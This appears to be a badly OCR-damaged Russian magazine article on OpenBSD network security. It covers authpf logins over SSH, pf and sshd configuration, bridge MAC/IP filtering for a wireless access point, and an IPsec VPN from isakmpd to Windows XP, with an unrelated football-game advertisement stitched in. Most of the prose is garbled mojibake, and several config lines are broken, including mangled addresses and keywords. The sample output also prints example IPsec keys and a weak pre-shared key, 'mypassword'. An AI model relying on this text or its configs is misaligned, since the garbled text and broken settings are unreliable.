сёё: 1 баа! есабёу 1 dai esai ii ai eéeiiéii a а! - 
Odi а а 21 аб! Ade саёбйойа Adal af OO пабе, «di - 
dé» 61 баабаеёг а adi ауи Aa & ейб! Ayu ad TCP-/ 
UDP -06a6 @6a, а даёаеа 1 61 аааа! Ga абаёда fh агбб- 
Гавёёб! aai ai ё1 af т! &йс! аабавае ё аба! aie ёб 
addai 086 евабёе. 

> баабдр ба ётягтагт1 6 аавйоаёр. сай еда 
11 вис! аабавийё! a обад ева — Tafa ест тагад 
101 ава! , Ha OT STE йбаввеаар ony 1 i 6é 7 баа! eca- 
бёё 811 ag гае Mads. EARADE AAT I Af 0, авааар - 
uéeé aii di Ati тта! ага IP-é МАС-аабайа, баёё 
[161 аёб Aéa+adU 1 аб0-061 646 аёааааво Af 67 OI а- 


дл Q мл пл по Bf. 


dee “a fab» fai аа т sage Bae | i daaeei, 


лолх 2 


ёёой e6é i Of пб а 1 опёазеёаа! га Ai afd во 
fi adeaéUi Gi ё обеёёоа ё (arpwatch) Га уавуабйу 
уб 6 авоёаг Gi, ттумт 6 аёу cal ёбй То ёбазеё 
обаб еёа аа! ёГейобаб ба йоабар ony i dei af You 


1 або -551 fit & 


АЕГА! ЕхАМЕГ АЕС! АГ Ai EAT DAAEE OAEDAI EA 


ENT i EUCI AAi EAAOOAI ОЕОЕЕАОЕТ iii Ai OEP СА | АААСА МАВСЕЕ PF +AUTHPF 


ii САГ ЕЕОЕТ Г ОРТ EEDI AAOU Ai NOOi , 


I Nii AUAARNUI AT DAAAO 


CADAAE NODE DI AAAG AAI МВТТ SSHI i EUG] ААОАЕВ. OE ODI NOU CAEEP хААОМВ АСТ, 
xOi A СААЕМЕ! Т NOE 7 OAAAAAI ГООЕТ АЕГАЕТАРГ ER i A@Ep СА АОАО0 АМООГ AOU 


А МЕЕОТ ADNi i AEUi UAT DAAEEA OAEDAI EA 


Andrey Matveev 
landrushock@ real.xakep.ru 


8611 1 саёёа ё Га айадаа Гаааз! Ha Ei Г побоёбее 
Га ааса FreeRadius, MySQL/Post-greSQL, mpd/ 
poptop é в.а. 

Ni айат гаааагт т! 
[та dag af ёа, Ef OI бт а 
i Gadi 7 A 6 еёйоба рЕё aaah бесабё! (fi a в аёёа 
authpf. [1 паусёа pf + authpf— f ai af aday, a aii? é- 
ГебсаёштТа пбаайоа! аёу басаба! e+ai ey а1 Addi а 
4 802.3/802.11 йабуб. 
> faitdiéyai ав OpenSSH. | базеаа +8) 7 OT - 
@cai аё0й | ай061 E46 authpf, { ai 407 a@i 1 таба! 1 ба- 
aaé@oi Г аё! O60 a забот BO! Ga сга-а! зутаба а! - 
Габаа if asshd(8). ОЗё1 @ ОЙёТ af &1 11081 бёаёй- 
{ii о сё! di (р ва! гаёо Ohi ав fi ai Of аазаг ва йада- 
ai é a0aéé A баёир табабааба A тта1 ага Гав ав 


оных 


ssh-nannee (fi 1 обе GeNde/ 41). 


ног 


Aéy of af +0i 40 af aAaf (Ga Aci af af ay айоб- 
тебе а пёёо, Га! Adi ай 1! ааой овасаг Ga аа1 Tf 67 a- 
ба-еоаои hai é att Го ёа: 

# kill - НИР ‘sed а /var/run/sshd. pid 

Oai аби, 6&4 Of UE? authpfi 7? &0-20 AeA аё SIGINT 
ééé SIGTERM, ssh-hanihey addai 86 ебёб! dai fi ai 
11 вис! аабаву caaddo eony ai Gael at Tadacii , i a0- 


ай абозеа! @ естацаа Г аа! бат бааеёв, Ai aT dTA- 
ci 6480 ff ббаг агеа AT пот yi ay Ai adel af ее а дэаёё- 
ба cai ейав д аеба! Ea. 

> | азёуаширЕ Authpfi баайбаавёуад fi а! ет паа- 
aii af éf +86, & of day Г ас! а-заойу 11 Bc? аабаёр йёй- 


о яхло 


dai G аёа-айдаа login shell (cai ейй /usr/sbin/authpf 


H vi fetc/ssh/sshd_ contig (1) 
# Dadloaal й ehiiedci aafeal ТОГО ет ата | Pv4 @ ssh2 

AddressFamily inet 

Protocol 2 

# Г аёааа! iiaeeprarey Ti айа! ai hooii di Aaddadi ef bd66deRal 

ListenAddress 0.0.0.0 

# Cai dabadi бааейобабер root'a ё (dei агагёа idfhodd таб! ваё 

PermitRootLogin no 

PermitEmptyPasswords no 

# Ca fisdd efi i édcidarey ToioTeiéa ssh2 @ убёб 4466 11086 OHei а! Vai 
idiaddaied абаё оёта ARP- ё |P-spoofing 

ClientAlivelnterval 15 

ClientAliveCount Max 3 

# [d@ébzaal 0№5- бас! ваега 

UseDNS по 

#lidaaaeyai Aiehee G1 ( ddT ву aT АООТ 

AllowGroups wheel users authpf 


ву! fetc/ рт, соп (2) 
#[1aeépzaai 18031201 yet sae 

nat-anchor “authpf/*" 

rdr-anchor “authpf/*" 

binat-anchor "“authpf/*" 


# Dacdagadi ё бааепобебоа1 Ai HOdT @ sshd (22/tcp), Га 1 ойёааёаау 

"flags S/SA" 1060104040) 

pass in log on $ext_if inet proto tcp to $ext_if port ssh keep state 

# савер-ебавагта idaaeéi 

anchor "authpf/*" 

# vi fetc/authpf/users/andrushock/ authpf. rules (3) 
# Caaaai 12601 nd 

ext_if = "fxpo" 


int_if = "fxpl" 
# Готесат ае! обагиёубёр Aaddadd addani A 
nat pass on $ext_if inet Ггом $и$ег_Гр to any -> ($ext_if) 
# [aanhiazeaadl faodid €88aid6 Ti edzaf ea HighlD ia ёра!1 eDonkey-hadaada 
rdr pass on $ext_if inet proto tcp from any to any port 4661 -> $user_ip 
rdr pass on $ext_if inet proto tcp from any to any port 4662 -> $user_ip 
rdr pass on $ext_if inet proto udp from any to any port 4665 -> $user_ip 
rdr pass on $ext_if inet proto udp from any to any port 4672 -> $user_ip 
# [daa hoaaeyai ai Addi & ftp-proxy 
rdr pass on $int_if inet proto tcp from $user_ip to any \ 

port = ftp -> 127.0.0.1 port 8021 
# vi fetc/authpf/users/rdp/authpf.rules (4) 


# Af agi eé паозате Bf 085088 
ext_if = "fxpo" 
# |Р-аабай fidddada Oddi ei aéia 
rdp_server = "192, 168, 1. 100" 
# Габааабайгаоааа! 201 аушёз RDP-fAidaei diay Га пабааб 0801 di aela: 
rdr on $ext_if inet proto tcp from $user_ip to $ext_if \ 
port 3389 tag RDP -> $rdp_server 


pass in log quick on $ext_if tagged RDP flags S/SA synproxy state 
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a 6 aéé /etc/shells &1 4aaéVOU Га йёааоад).Т 58 aad - 
decadee 11 вис! Aadaey т! ssh 6 баёби ei тбааёва 
6 евибда т авай AATTI Ти Up daéf ach aaai 06 yal бав 
(anchors) 464601 бей! ааёг ai т бааёва, оёаса! {аа 
аб aééa /etc/authpf/authpf.rules, ééai а /etc/authpf/ users/ 
$USER. A ai азавуа! абтбааевёаб aii ORAaSORY ёй- 
11 вис! aaf ёа cadagadaedi aai i G61 aédi Ai а $изег а 
ё $user_ip, са fizad & of 606 Adaadi 61 EAGT аёби addr - 
1 абё-айёау 11 айоа!1 ава Gi ai @ ё1р-аабайа Ti аёёр - 
+0ag adi пут! вис! аадабу (сГа-аГ ут а6б1 Ai а A+800 - 
aap оу ест Adal af f CO7 ёббава! у ssh Addl] абе-айёе). 

[1 aadf ai Ay 6 { ANOS? ва, Авуга-авёа TT ae 
ёр =i 1 adaf acl У бав. Aey yor & Af аааё cai e- 
п a pf.conf(5) — М Тобё Adal 42. Е табасаабосе 
{ adi 6 «Od aad! а» 6 аеба! Ea: 


wads 


заа а & Габ 6 авёа login.conf(5) са! 1 йе] Паааа! ву 


Q my 


-Эйбаа па! aaddi 1 & в аёёа абабот 1 66-=A0U authpf: 


Ni?ituup в dadf? 6 6088800 cap_mkdb(8) 1 af 1 a- 
éyal буд edi dai Гор аасоб аа! Г аб /etc/login.conf.db: 


[Га Addai Таба! базавуой ста-аГёу аебавога 
апспогё tablei? 61 Тё-+аГер, 11 yor) бб aéé auth- 
pf.confi йбзавуа! топа] : 


Ti aa озавеааа тбеазойоааг (7 а ATT аи af 28 auth- 
pf.message (ai aéi a/etc/motd): 


Nicaaai (i ai a 11 йе! aaoaey, & м 50 i Sei заёа- 
wed 6€afiid authpf, а67 аёб а di i 6 authpf é а 6a+a- 
1 at al а 


ai &1 +€@ 77 66+40 /usr/sbin/authpf: 


Ni caadi { аа! бт бааёв 6 а65а1 BA BEY тт вис! Aa08- 
éy andrushock (fi 1 обё GeAde/ A 3): 


i a ACL OT Га Ral оз 1 оба Ad8a Ui eh AT 6 ssh-488Aai 0 
(i ai бё! аб Putty ёёё SecureCRT), fi сааав Wit adp 
аййёр , оёасй ааав U IP-aadah в ёр са, éi yi i ёйс! - 
adaéy е, тбё Га! Adi аё1 1 AOS, Sani? &1 ааа! ват ба- 


a> Dz 
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А ЕАХАМОАА ЕМ | EUCOAI 1 E i AAOOA] ОЕОЕЕАОЕТ ii ii ВЕР СА ee nee а м beri 
11 АРАОбЕГ 1 (ТЕ МЕМОМ U ТТ EAOAU NOO! AOU Eb ААВ i gat 7688668 67265807 08 884i 656 265550 151 - 
tC FREE/OPEN/NET/DRAGONELYBSD О ИО 


% ps ах | grep authpf 
GOATS Ss =a. Апёё aa тозаёви т (AMDT ATT, > BACATOARAARSABST) 881 агавг а, Aadaé бай- fe eee ee bm 
‚(бай 1 &¢ 811 а1186- 
61868856 0891 Af aT A, BAST ат! TU dp рисё: 
1 (GO 606 0368 [аб - 


1 
OF 17 AGA ойг ао {Те дай Decade’ т бааева д аебм- AL TOI ты Ad. ATi SAORI 
ёа Гаю ёрса аву yo & 11 ис! аабаву eci af Yory, & -ё00 ai побт ё ef пбёобойе 
ТГ 17 66+80 af пб а ef баб! ad. баг 1 &1 ааа [11 Oca в ёрс 


Саайй authpf — Г асаа! éa уё! ду, andrushock — & у 
тт аёёр +840 adi пут! вис! аабаву, 3884 — бгеёаёи- 
Гав dai 086 Géadi бт 61 баййа 1 a7 &1 +88 authpf. 

TT Ai т обаойт аби! {26 0851 а гавг аа! 61 6а- 
аёё 6 авба! ва авут! lici аабаёу andrushocki 1 adi баё: 


xh ай 11 AO Vif? Га аа! аёойт аб! eu, 1 1 afi Гайб- # pfctl -а "authpf/andrushock(3884)" -s nat 
51 00 Addai O86 евабёр Га ааса T OAeeH Ta вёр -а. Еттбазавум авугаа fi абёаёиг а в Г adi бт бааёё # pfctl -a “authpf/andrushock( 3884)" -s rules 
Aéy if вис! aadaéy andrushock аа! а6ё60а\ Табо 6 Adda ва (Al 1 O88 RAO а4). 

ёёр -ае (паёбаб ав етоаёё-+ ие): Тбё eeaeaf de «éeéaai » 11 ёйс! аа 


af п0бт 6 пабаабб даб Af AGT а «Cf а»: # kill - TERM 3884 


+ yaw Taeu. A соёёр 28/88 / ABiicy 18 CITT у- 


Ai dadéyal Тоаёё- ав вёр +4 fii ей! ё ANT Sci аа! - 10001 1, -0' pfi? ааабаеёааао саб! 1 ET dep тай- 
Габёёр чаев: fheaii а тт оааава! ву аабпёе 1 табабё! 111 в пёйда- 


та. Мтозаолоааг ит, a fag ёб AMG i 61 acai аебй 
6 евйобабер таёаб агат ATT 4a T Oi а--а0&1 а GI Adi а, 
ёгабёеб! adm 86 Ai ааё! af Ga (€ 1 SAI 456, pass in 

081 Adu ау @8/ да 81.211.22.221 ав ёрса 81.211.11.11 quick on $int_if from any os «Windows ХР » keep state). 
Е aéy 6 авёа authorized_keys Ofdal заёёааа &5- 11603389/ср абаа01 DESH OA? бабт1 б, 11 AaiT вас! aa YO! 11 ead поаой пабиас! Gi ттам! биа! aéyii Ad 


баёог Cai база Ai Odi а: баёй гар a7 éf a ssh-€8eai da fai aad а0&1 аё! adap ёёа- 61 af AY Addai 086 ввабё! TIT A вар са, Hii fi afi ai 
aéo <СинсС >. Айа, ai бат 11 6+2! : Таайг а-е0и Га dF ви &гаваёасавиг HE ат HO! ё ба- 


Addhal Naoe, {1 ватт €f ебави! ав 051 ааГасаи aod 
i 08 efi? ёйс1 aaf ee Hadden а © 


L DEAR CEA IP E MAC 
NTT TU UP BRIDE(4) влево 
Е PF(4) 
5aaadeddal 
/etc/bridgename.bridge0: 


райй! 1001 i Gel 407 Sadi позаваг ey вёе- 
af dai (а daf iti Пёб-за — аай! Ot af ai Oi ) 
al HOO а & GanddAal Nade Ai Seaycél é IP é 


add га! 0 
blocknonip га! 0 
linko 
“discover га! 0. 
-Теаги га! 0 
MAC Ait) ТО бр bridge ё рЕ. А аа 111 пёб- flushall 
static га! о 00: 0f:ea: 91: 43: 6 
static га! О 00: 80: с8: 2с;: 47: а1 


288 ау fil cal ay 1 1 fda af HORS 1 Тата 

af 60081 Г adi Addai A Af 0866 авйа ralO (yal 

PCI'i ay 64601 =€8 Gigabyte GN-WPKG 802.11 up 

b/g). EAGI af 0a aa (0. (а aeda «Al y бт яда: «=FuUlefile /etc/ bridge. cont 


|р-забай, МАС-аабай»): 


баазёоебба\ /etc/pf.conf: 


базаёоеоба /etc/bridge.conf: 


K\N 


adidas 


ГЕНЕРАЛЬНЫЙ 
СПОНСОР 


} 


BECKHAM+1Q 


IMPOSSIBLE IS NOTHING 


“ФУТБОЛЬНЫЙ МЕНЕДЖЕР”! 


СОЗДАЙ СВОЮ КОМАНДУ ИЗ РЕАЛЬНЫХ ИГРОКОВ И ПРИВЕДИ ЕЕ К ПОБЕДЕ 


ты ПОЛУЧАЕШЬ $135 МИЛЛИОНОВ ГЛАВНЫЙ ПРИЗ - 
на приобретение игроков российской премьер-лиги при 
регистрации на сайте www.total-football.ru. i @ Es 3 С - 4 Leet oa 06/07 


Подробности на сайте www.fotal-foothall.rua 
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| 
| 


CAU EOA NAOAAI Ai ODAOEEAT bi Ai Ai U 
Е ААМТ Di Ai Ai UO WINXP-EEEAI Of A 

i 7 A AAADAAEAOODI E VPN NEDU AAAONB NEI Ai Ni хАОАГ EA VIRTUAL PRIVATE NETWORK — 
AEDOOAE UI АВ xANOi АВ NAOU. YO! OCADDEO! DEAE UI I -DANT DAAAEAI ГАВ NAOUT ADAAAxE 
AAI ГОО, Ni МОГ ВО AR ЕС IP-i i ANAOAE, NABCAI | VOI AZAONI Ai E хАРАС 

| AU AAi NOOI ГОР NAOU (i Ai DEI AD, xADAC Ei OADI AO) NIT i? UOp CAUEU ATI OO 

ТРГ ОГ EI ETA 

andrushock@ real.xakep.ru 


fi 
61 VOI? поё оба-ёё 47 Гб аа! GAAS 1 6 Af 67 Gi a- 
ё са fizad efi 1 ligt aaf ey ё6ёт Of Hd? 64 & o G6 - 
dai éy табаааааа! аб ааггаб. TTA тобё , вё GAS SeeeaalT A 051 ALY. 1 а абаа\ Tal аабазаой её AI 6 еаа! GEAEUIT поё Adi Г бт аай! а-гаар ойу са 
fi Та addai 86 G€adee @ 
éi 


е 
iTadt cab @dBdd изовата оба аа THT Arad  узлг авы от т Гага ALASOS иг Зови аа ч- AVSOAATTSUcT аагау1 AOTC тазба 
A ВОт 


dani 61 ai af G6 WinXP-éééaf байт! 1 Тибр аб! 1- ceaThoali aéei пугауй! Adaf ado. @ 20 61 аа! ву. Addai 686 евабёу AUT T Af YaOAY 1 61 Ot - 
61 de VPN. IP Security — yoi баёав Гаа! 67 Of of & Gi а, @a- 47 67), AH (Authentication Header — cadi &1 af 6 adda - 
> 7alPsec. Aéy fi caaf ay VPN1 7 абдей!1 ис" - пари AOAY A771 61 AT A в еб 61 ааг AY, аоба! еб еёабёё 08S еёабёё), а веб OT Aa/ Aa — 161 9 4 &11 ESP 
ааоййу i 61 Of Af &0 IPsec, SSL ёёё РРТР. 081 fai a- етаама-аГеу сай 200 1бё оба! AT 60261 ава Р-Га- (Encapsulating Security Payload — #1 ai йоёёб1 аа! - 
(88, 17 азавур и 88 а! lig Af ADAT басбаа! о-ёма «AC A. А Ai AGRO AARC IPsec даб! O88 GAT ям 1 ое Гада сай ed а газ ааггаа). Г dai di OF & a Af ааа- 
fadadi a 1 ai боа! аа! ву 1 одааот баа! 1 +Oai ват аб- 

ai} оаабёа! 06. Al -i 6406, 17 OF) 6 +d? IPsec а0ё 

он Е 

а аас! 406i Of Of Af ваб hai авйода TCP/IP, а а! -adi - 192.168.2.2 ipsec > (ral) —> 

баб, Г а! ваа dai 6 @ Ol Aal, [Г азваёё Eh ai Ei Oi - 192.168.2.1 


Néai a1 


ву! /есс/ т бактра/ т зактра. con (1) 
#Naéedey 1auaal Гасга-агау: 

éiéesahoal ii aodidta, i bial вже баба! т nod 
0a6] ad07 a, |Р- забай i bi Hedoeaaadl та! 
e(dadddeha, зай! ёрогое Тоби & баеёд 

й | Psec-iiéedeéaie 

[General ] 

Retransmits= 5 

Exchange- max-time= 120 

Listen-on= 192.168.2.1 

Policy-File= /etc/isakmpd/isakmpd. policy 


#ladaseneyal басй Aiaaeiaraé @ Aicaaai 
fiefié |Psec-ddfiaéaé 
[Phase 1] 
Def ault =SECUREWLAN- 1 
[ SECUREWLAN- 1] 
Phase= 1 
Transport= udp 
Configuration= Default-main- mode 
Authentication= mypassword 
[ Def aul t- mai n- mode] 
001 = | PSEC 
EXCHANGE _TYPE=1D_ PROT 
Transforms= AES- SHA 
[Phase 2] 
Passive-connections= SECUREWLAN- 2 
[ SECUREWLAN- 2] 
Phase= 2 
| SAKMP- peer = SECUREWLAN- 1 
Configuration= Default-quick- mode 
Local-|D= wlan-router 
#садаа! 1869660 dey ef Gai лова! аа! Г об 
АТ ааегаг éé 
[wl an-router] 
|D-type= 1PV4_ ADDR SUBNET 
Net work= 0.0.0.0 
Net mask= 0.0.0.0 
#0васоааа1 тоаатт +eoaai da тат ога ea 
06000, onoié 


Oho éseata ё ё1 ёёёсёу! 
#0у0- 601 6оёё, a Odbad ёпт Гис аагёа 
базё1 а Perfect Forward Secrecy 
[ Def aul t- qui ck- mode] 

001 = | PSEC 

EXCHANGE _TYPE= QUI CK_ MODE 

Suites= QM-ESP-AES-SHA-PFS- SUITE 


[ AES- SHA] 
ENCRYPT! ON_ALGORI THM= AES_CBC 
KEY_LENGTH= 128, 128: 256 
HASH_ALGORI THM= SHA 
AUTHENT| CAT| ON. METHOD= PRE_ SHARED 


GROUP_DESCRI РТ! ON= MODP_1024 

[ QM- ESP- AES- SHA- PFS- SUITE] 
PROTOCOL_|1D= | PSEC_ESP 
Transforms= ОМ- Е5Р- АЕЗ- SHA- PFS- ХЕ 
QM- ESP- AES- SHA- PFS- ХЕ] 

TRANSFORM_| D= AES 

KEY_LENGTH= 128, 128: 256 
ENCAPSULATI ON_MODE= TUNNEL 
AUTHENT| CATI ON_ALGORI THM=HMAC_ SHA 
GROUP_DESCRI PTI ON= MODP_1024 


вёурой! айбаа! Гаа cad &1 авё 6 ё1 Ap Ofiai 6 ID (AH 
ё1 dad ID i Of of 6 64 — 51, ESP — 50), 77 49611 6 
lied? 11 баааёёой, =! 11 пваабад са Cadi ei aéii IP. 

Ef 26a Sadi O0 IPSec 60& af апоаоаояу 1 Af Ai 
é¢ обаб fifi dia: efi jtpoas — &1 тар даб, 
&11 тар баб — Addu, падй — Addu. 1 пота пуга 
таба!1 @ обадиа! dai абёудб Sadi ва. 
>  басаааёа га т afdfi пов. са тг пвааг а гай- 
&1 BUT 640 аай! Of af af Ga hade 11 ёб-в6ё в BOI & а 
dani 51 HOSA af ea af апа! 1 ёба. 7 Sai ai ау бав а- 
[ ёа1 11 1001 агёё wlan, ба ai ваза! +adéi т баайбаа- 
éyou hada Га of виё! ат пб ef Adda, {1 ё аа! поадёё 
WiFi-Oa0i 1 61 286. Мае-ай &6ёт Of абаб ё-ай& в пёа- 
ai пойр WEP i 7 ead а! fi? ёис! аадийу ёр а! в эаёа- 
pu éé:if ааабазёа (т ANG) абаг ес! Та аа тай! 1 й- 
0ё WPA/WPA2 i бёйбойдабад ааваё (a ai Ahad йей- 
dai аб, a Ad! @1 T AOU ai i AAO! G6 УРМ-6й051 ейба а1 - 
ai Gui 1 ad Ai a. Ai cf e@aa0 бас (гов afi 61 A: Of ава 
ii zai бай aéy cab #00 табаааааа! TA обаб ева Га 
ai hit вис! аабапу i 61 Adal 1 Гот Gag агёа! , i ai бё- 
1 ad fa ааса *BSD? 

Ттавааг уу aaddhey (fa 111 аго fai fal ey 
foadtié — 3.9) овиобайавар df7 6 OpenBSD ёаё 
Гавису 66-0 aii af вааб аву adi éf af ey Гав ав 
1 ейлёё. Yoa Ti adassi (fay Aehdai a таёаазад 
i баёбай! 1 в базёёсабёае поаёа TCP/IP ё i Oi OF & - 
éa IPSec. Edt) ам а , 44a fi поза Adi авот O€eH OE 
6 aédai в Packet Filter (pf) ё аа! if isakmpd, éi dt - 
баб Таайг а-ёааад Sadi 00 11 TOTO ai dT Ai ага 
паёбаог Gi @ &ёр sal & (15АКМР). EAOada, Гайоб! в- 
éa FreeBSD, NetBSD ё DragonflyBSD абааб i оёё- 
+adtifly Гапёви 1. 

| ава табаау Addi а айавуаео пёааори ai 
i adacii (М 1068 йба! о 1). Саайй га 0 — уб Aada- 

16 &f 0406 аей, саёбат Gai Гав са РСТ 6 ёаб а + 
& 6 Gigabyte GN-WPKG 802.11 b/g ё1 Adu айбавур - 
И ёе баа! сот! йгабёд евабёе 802.114 (mode 119) 
[911-11 чай off) вагаёа (chan 11) а баге а df + 
ёё ai fddi а (mediaopt hostap) й of еваёиг Gi гааг оё- 
6 ева 511 fade (nwid wlan). 


Aféé 6 аай! 61 af Afi а ввеагоа (OAMOAST ааг Aa 7 di - 
ai аёё! AU {afi оба A WinXP SP 2) Ait баабйбаор и ei 
1абас!1 Гайоб! агат! вёоеёа IPSec, aan af dddai - 
Гав обаб её 46440 п G6 Of аабййу са A+ad7 баа! ёса- 
беё Р5ес-001 Г aéy f Addai O86 евабеав Гат ALT аа 
i ad? &Ш 16 ббасй («preshared key» — adaai f acd- 
aadt ё1 afiit oaé, +di ай ecdaaadt i оба! 660 пабо- 
aéi е вёр +ai 4). 

ТРЕ! AxAL EA: { ANODI EEA T DI AT ALi Al ЕЁЁ- 
Ai OAT Ei 1 NOUP Ai AEi АЕХГ Af ANODI EEA AANI Di - 
Ai Ai i Ai EEEAI ОА. 
>  4adf dfhdeelPSec-ddf Г авав. Аа! Tf isakmpd (8) 
11 са! éyad Ai сааааой f adadi yoria éf ée+anhoai 
IPSec-00/ { аёав, efi? ёйсбут бё yori Sacéex ва аё- 
ai dedi И @ 66 61 аа! ey (3des, idea, cast, blowfish, aes 
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аёу a00@460a esp_enc_algi di di éi 6a ESP) ё1 adi - 
ай addai 086 евабёё (i AT AIT аатаб! ELIT е 6 баса, 
fadaadi 06 ёёр +aé, Keynote é X.509 fadded ёёа- 
Of a). 1 а абаа байм AdSeAadI аб! а аодаг O86 ё- 
éadee Га ти! 1 аа таб! шт е оббаса, fi а пёб-за 
af ов ёбаёи!1 al +ehéa м!ап-ёёёаг of а па! в ad ai д 
€6+0 а1 Moai? аё0й Га Х.509 auth. Adi Tf TOT AG 11 0- 
oyfadd пе é aicii afi hoyi @, баё = абааб 
(ai Oi йо Гавоё оаёбр сааа-6 11 Addi ai ey VPN, 
él i Ot етг fai i aad Ai OaaeouAy. 

Aéy 081 апоаа эваагав é1f 6 гаобабе Гав 
aéé пабааба 1 ai af a ёёр +46 басаёога паёбёе @ 
| аадаеёо аёбаёоёай Hi Gehal afi di е ci a+ai ёу- 
1 @ (fil 1008 Bede 41). 

Oai аби f ai аб а 1 Ai сааой isakmpd.policy (5), 


fil аабоваи GE 77 вё0зёб аёу айаб IPSec-fi aaei af ев: 


— 5: oO 


1 оёасаав ейаТОей!Т ёйсТ dai ey i Of OF &1 ва Руб ё 
6aaéecadee NAT-Traversal: 


Аббёбаёооба 


| 19 i ESP i of ot Ff @AH 


Аёа бей 
аббаг 66 евабёе 


| | 


Аёа 586i 
i аёб! аа! ey 


у 
1 авайой 
>| еёгоаб! бабабёе | < 
201) 
^ 


Oi бааёа! Ga вёр =ai ё 


Аббебавобба IPsec 
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Vi Геес/ рр, соп (2) 
#ladyaéyal 13601 ad 

enc_if = "enc0" 

int_if = "га! 0" 

vpn_client = "192. 168.2, 2/32" 


# расбаода! ё Gadehddeddai Ai hddi &@ isakmpd (500/udp) 
pass in log quick on $int_if inet proto udp from $int_if: network \ 


to $int_if port isakmp keep state 


# Dacdagadl 10101 wddiea саобобтааг гта! обабева 


pass in on $int_if inet proto esp from$vpn_client to $int_if 
pass out on $int_if inet proto esp from $int_if to $vpn_client 
pass in on $enc_if inet proto ipencap all 

pass in on $enc_if inet from$vpn_client to $int_if: network 


pass out on $enc_if inet from $int_if: network to $vpn_client 


institut# vi /etc/ipsec/rc.vpn (3) 
1+ A foeadisiti Saweia &1тагай abaiayony fa уёбаг aac ahi ef arey, 

вт тагоёббат */ 

#DEBUG=echo 


/* |р-аабайа &1 вавагта! ё ddaearii al 11 тарбабта */ 
GW_LOCAL=81.211.11.11 
GW_REMOTE=81, 211.22. 22 


|+ O@acddaai CIDR-(1dadee (486 Ti ahadaé */ 
LOCAL_NETWORKS="192.168.1. 0/24" 
REMOTE _NETWORKS="192.168.2. 0/24" 


|* Абабаггоа тат ad weds aarey & зобзгогоевасёе */ 
ENC=3des 
AUTH=shal 


|+ Niadeaedi da ef aa@hd таба! adsia dactiahiifoe аёу Alcaarey обггаёу */ 
SP] _OUT=1000 
SPI _| N=1001 


1* Aah epoi da 1608 @ баба! A Aepzaie */ 
KEYFILE=/etc/ipsec/esp-enc- key 
AUTHKEYFILE=/etc/ipsec/esp- auth-key 


(4) 
#ipsecctl -s all 

FLOWS: 

flow esp in from192.168.2.2 to 0.0.0.0/0 peer 192.168.2.2 srcid 192. 168, 2. 1/32 
dstid 192.168.2.2/32 type use 

flow esp out from0.0.0.0/0 to 192.168.2.2 peer 192.168.2.2 srcid 192.168.2.1/ 32 
dstid 192.168.2.2/32 type require 

SAD: 
esp tunnel from192.168.2.1 to 192.168.2.2 spi OxOebbadc6 auth hmac-shal enc aes \ 
authkey Oxfd16f0b81db91b0774925454d42d55976ecabc8a \ 

enckey Oxdff666aeb0427784cdf72603a1029f e7 

esp tunnel from192.168.2.2 to 192.168.2.1 spi 0xc7163b7e auth hmac-shal enc aes \ 
authkey 0x263e372620e0eb1b5c72F189e009C8896c90C Ibe \ 

enckey Ox6db690dc6b158e32e484705ee7db47ce 


AAT RY mY yas 


>  @& 16 &&Hdaday абы! Ai абуба. AY Sadi ой IPSec 
{ ai Adi а! 1 7 O80 OUT? бо 500/udp, т! & of Sti оёааб 
fal af added eadai в ё ёёр tai в, а баёаеа басба- 
@ 6001 Of OF aedal Oa сад 20 61 аа (7 A обаб её. Ec- 
i af Yao Ui бааеёа 6 аеба! ва (Ai 1 OBS EEAA/ 42). 

№ ifl?udp сабасабаеб dal iia 1 adi Aa 
«:network» 11 бааавуаойу CIDR-i 1 daddy Adda. A Га- 
0 а! héd+aa &1 f побоёбёу «$int_if:network» 464407 с- 
{ a+a0U 192.168.2.0/24 (i айёат! айаде 255.255.255.0). 

Е aaao ti овасаг ёа в даб T 6 6084808 pfctl (8) 
Таба-еоаой Г аа! б «бовайай! а»: 


IPSeca 


nx 
adi Of 61 addi 


Wi i 
ааа! ва 0ё00! 91 {7 а ёаайба: 
1 СТАВТ — ВУМ >CAi ОМЕААВ 0 MMC; 


2 FILE > АОБО/ВЕМО\Е SNAP-IN > IP SECU- 
КМУ POLICY MANAGEMENT >LOCAL 
COMPUTER FINISH +CLOSE; 


3 ACTION >CREATE IP SECURITY POLICY > 
NEXT -> МЕХТ >Ni Ei ААС 0 ААЁТ xEO 

N ACTIVATE THE DEFAULT RESPONCE 
RULE > EDIT PROPERTIES | NOAAERAG 0 

i АОБТ | OOU} - МЕХТ > FINISH; 


4 NEW IP SECURITY POLICY +PROPER- 
TIES ADD 4 NEXT > TUNNEL 
ENDPOINT > THIS RULE DOES NOT SPECI- 
FY A TUNNEL > NETWORK ТУРЕ — LOCAL 
AREA NETWORK (LAN) > AUTHENTICATION 
METHOD > USE THIS STRING TO PROTECT 
THE KEY EXCHANGE (PRESHARED KEY) > 
OEACU ААА 0 MYPASSWORD ЕС OAEEA 
/ETC/ISAKMPD/ISAKMPD.CONF + IP FILTER 
LIST +ADD +ADD -+ МЕХТ +SOURCE 
ADDRESS - МУ IP ADDRESS -+ DESTINA- 
TION ADDRESS -+ А SPECIFIC IP 

ADDRESS -+ 192.168.2.1 + SELECT A PRO- 
TOCOL TYPE >ANY, 0 > ONOAI AAEEAA- 
A@U AAEi xEO EDIT PROPERTIES > 
FINISH +1 Di AADRAG 0 ААААА! ГОА 

[| ANODI EEE > Ok; 

5 NEW IP FILTER LIST +NEXT > FILTER 
ACTION > REQUIRE SECURITY EDIT > 
ONOAI AAEEAAA® 0 NEGOTIATE 
SECURITY >i 01 АхААВ 0 SESSION KEY 
PERFECT FORWARD SECRECY (PFS) > 
ОК -* МЕХТ > FINISH >APPLY + OK 


6 CONSOLE1 +FILE >SAVE; 

7 | ADACAADOZ ААС UNB, EEAI Т АБАСА- 
Т ОМЕААС 0 NADAEN IPSEC SERVICES 
(EOx@ Ai ADACAADOGE OUNB); 

8 START — ВИМ >MMC > FILE >CON- 


SOLE1—NEW IP SECURITY POLICY > 
ASSIGN. 


Оааееба | абибобесаоее aey ef é@al noeedidaii ud птааегаг ее 


% netstat -nr -f encap 
Routing tables 
Encap: 

Source Port 
192.168.2.2/32 0 default 0 
default 0 192.168.2.2/32 0 0 


# tcpdump -netttvvi encod 
cpdump: WARNING: enc0: no | Pv4 address assigned 
cpdump: listening on encO, link-type ENC 
бер 20 22:49:51. 844143 (authentic, confidential): SPI O0xc7163b7e: 
192.168.2.1: 192, 168.2.2.1452 > 192. 


16824.12 
ttl 128, id 43693, len 40) (ttl 128, 
id 43693, len 60) 


192.168.2.2: 192.168.2.1.22 > 192.168.2.2. 
1452: Р 1:85(84) ack 0 win 17640 [tos 0x10] 


# tcpdump -у ieee802_11_ radio -eni ral0 
